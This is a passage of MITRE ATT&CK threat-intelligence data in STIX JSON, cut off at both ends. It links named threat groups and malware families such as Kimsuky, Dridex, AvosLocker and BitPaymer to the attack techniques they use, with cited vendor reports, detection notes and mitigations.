2019.","url":"https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/","source_name":"Zdnet Kimsuky Dec 2018"},{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-09-29T13:32:43.274Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used Google Chrome browser extensions to infect victims and to steal passwords and cookies.(Citation: Zdnet Kimsuky Dec 2018)(Citation: Netscout Stolen Pencil Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c1c2160-0b1d-4bb9-be29-e0c6e0570a2d","type":"relationship","created":"2021-04-09T15:11:36.754Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-09T15:11:36.754Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) has used masscan to look for kubelets in the internal Kubernetes network.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c1c9ac8-e8b4-451c-991f-faf7e03d2e08","type":"relationship","created":"2020-01-24T14:08:23.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T14:08:23.368Z","relationship_type":"revoked-by","source_ref":"attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c1df23b-5238-43ec-8f31-3c9a07d11ff5","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for newly executed processes that may create or modify Launch Daemons to execute malicious payloads as part of persistence.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c26e6e8-8303-44ad-9e5d-452dff52858f","created":"2020-05-27T15:31:09.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary Mockingbird May 2020","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-11T20:18:24.390Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used [FRP](https://attack.mitre.org/software/S1144), ssf, and Venom to establish SOCKS proxy connections.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c2924c1-dec5-4390-87d7-c52e24a92512","type":"relationship","created":"2019-01-30T15:33:07.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.353Z","description":"[APT1](https://attack.mitre.org/groups/G0006) used a batch script to perform a series of discovery techniques and saves it to a text file.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c29de08-20be-4358-acfd-c4939a83c14b","created":"2023-08-03T21:49:52.795Z","revoked":false,"external_references":[{"source_name":"Red Canary Dridex Threat Report 2021","description":"Red Canary. (2021, February 9). Dridex - Red Canary Threat Detection Report. Retrieved August 3, 2023.","url":"https://redcanary.com/threat-detection-report/threats/dridex/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-03T21:49:52.795Z","description":"[Dridex](https://attack.mitre.org/software/S0384) can use `regsvr32.exe` to initiate malicious code.(Citation: Red Canary Dridex Threat Report 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c308ec1-f0c6-4444-af7d-ff045204c326","type":"relationship","created":"2019-07-17T21:07:56.528Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project","description":"OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.","source_name":"OWASP Top 10"}],"modified":"2021-07-20T21:51:46.269Z","description":"Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.(Citation: OWASP Top 10)","relationship_type":"mitigates","source_ref":"course-of-action--15437c6d-b998-4a36-be41-4ace3d54d266","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c362fcd-939d-48e8-9279-731a663875b0","created":"2023-01-11T21:40:21.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T16:41:42.266Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) has been executed via the `RunOnce` Registry key to run itself on safe mode.(Citation: Trend Micro AvosLocker Apr 2022)","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c3890f0-378d-4cef-8db7-0258161ff3f7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:17.028Z","description":"[RTM](https://attack.mitre.org/software/S0148) can obtain the victim time zone.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c391d8f-4db1-43b3-857e-b8c507f27bdb","type":"relationship","created":"2020-08-07T20:02:10.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."},{"source_name":"TrendMicro macOS Dacls May 2020","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/","description":"Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus’ Multi-Platform Attack Capability. Retrieved August 10, 2020."}],"modified":"2020-08-10T13:14:05.246Z","description":"[Dacls](https://attack.mitre.org/software/S0497) can establish persistence via a LaunchAgent.(Citation: SentinelOne Lazarus macOS July 2020)(Citation: TrendMicro macOS Dacls May 2020)","relationship_type":"uses","source_ref":"malware--3aa169f8-bbf6-44bb-b57d-7f6ada5c2128","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c39d715-d631-41fc-b015-0df20d0507d5","created":"2022-09-07T14:48:37.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:43:14.778Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors downloaded files and tools onto a victim machine.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c42863f-8f57-4948-afe3-922a30f193fa","type":"relationship","created":"2020-10-01T00:54:30.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-01T00:54:30.974Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5","target_ref":"attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c44fea9-545c-4d2f-a5e9-caee38ee65b4","type":"relationship","created":"2019-04-16T12:57:12.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"}],"modified":"2019-04-18T20:59:57.015Z","description":"[SamSam](https://attack.mitre.org/software/S0370) has used garbage code to pad some of its malware components.(Citation: Sophos SamSam Apr 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--4c530431-2ad0-4ee9-97d1-4e489aa2436f","created":"2022-08-29T14:20:44.192Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can capture and compress stolen credentials from the Registry and volume shadow copies.(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T14:49:17.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c595f86-f839-44a3-81c8-8a1cab9f4293","type":"relationship","created":"2021-04-07T18:07:47.936Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-04-07T19:17:07.572Z","description":"[Hildegard](https://attack.mitre.org/software/S0601) was executed through an unsecure kubelet that allowed anonymous access to the victim environment.(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c5ae895-9a08-40b6-a548-273a9f96ad5b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-20T21:29:27.684Z","description":"[SLOWDRIFT](https://attack.mitre.org/software/S0218) downloads additional payloads.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--414dc555-c79e-4b24-a2da-9b607f7eaf16","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c5f4c95-2eca-4f8d-8e7e-16f0bb323b07","type":"relationship","created":"2020-12-14T16:43:08.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-14T16:43:08.811Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has exfiltrated stolen victim data through C2 communications.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c654359-aefe-4c86-a092-44e99931d340","type":"relationship","created":"2019-01-30T15:47:41.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Lazarus Nov 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/","description":"Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018."}],"modified":"2020-03-20T16:06:56.390Z","description":"[AuditCred](https://attack.mitre.org/software/S0347) can inject code from files to other running processes.(Citation: TrendMicro Lazarus Nov 2018)","relationship_type":"uses","source_ref":"malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c6aea43-27ba-4e6a-8907-e5db364a145b","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.914Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a Windows 10 specific tool and xxmm to bypass UAC for privilege escalation.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c6c38bb-8bb5-48d9-b4f3-54adfca1f902","type":"relationship","created":"2021-04-12T20:07:50.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."},{"source_name":"McAfee Dianxun March 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf","description":"Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.355Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has communicated with its C2 via HTTP POST requests.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: Recorded Future REDDELTA July 2020)(Citation: McAfee Dianxun March 2021)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c747463-f1e0-40fd-a3ed-dc01bc112651","created":"2023-08-17T19:12:54.279Z","revoked":false,"external_references":[{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-17T19:12:54.279Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has ensured web servers in a victim environment are Internet accessible before copying tools or malware to it.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c7803e9-e099-4905-b32e-d46a09247e94","type":"relationship","created":"2022-01-31T19:49:13.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","source_name":"Fidelis njRAT June 2013"},{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2022-01-31T19:49:13.689Z","description":"[njRAT](https://attack.mitre.org/software/S0385) is capable of deleting files.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c7a0e49-6b38-417a-881b-6f9474ea4ec2","created":"2020-07-15T20:23:36.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"},{"source_name":"Trusteer Carberp October 2010","description":"Trusteer Fraud Prevention Center. (2010, October 7). Carberp Under the Hood of Carberp: Malware & Configuration Analysis. Retrieved July 15, 2020.","url":"https://web.archive.org/web/20111004014029/http://www.trusteer.com/sites/default/files/Carberp_Analysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.254Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has captured credentials when a user performs login through a SSL session.(Citation: Prevx Carberp March 2011)(Citation: Trusteer Carberp October 2010)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4c823ae9-ac1e-4f09-bb1a-5e573938fc29","created":"2024-09-06T21:53:37.368Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T21:53:37.368Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has exfiltrated images from compromised IP cameras.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c8d1c47-d1a1-4117-8ba5-39296d8afe4d","type":"relationship","created":"2020-03-15T15:30:42.478Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-28T00:43:24.395Z","description":"Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. ","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4c8da471-3483-4f75-8e1a-952d2d05454d","type":"relationship","created":"2021-02-08T23:18:31.813Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.813Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can import a hard-coded RSA 1024-bit public key, generate a 128-bit RC4 key for each file, and encrypt the file in place, appending .locked to the filename.(Citation: Crowdstrike Indrik November 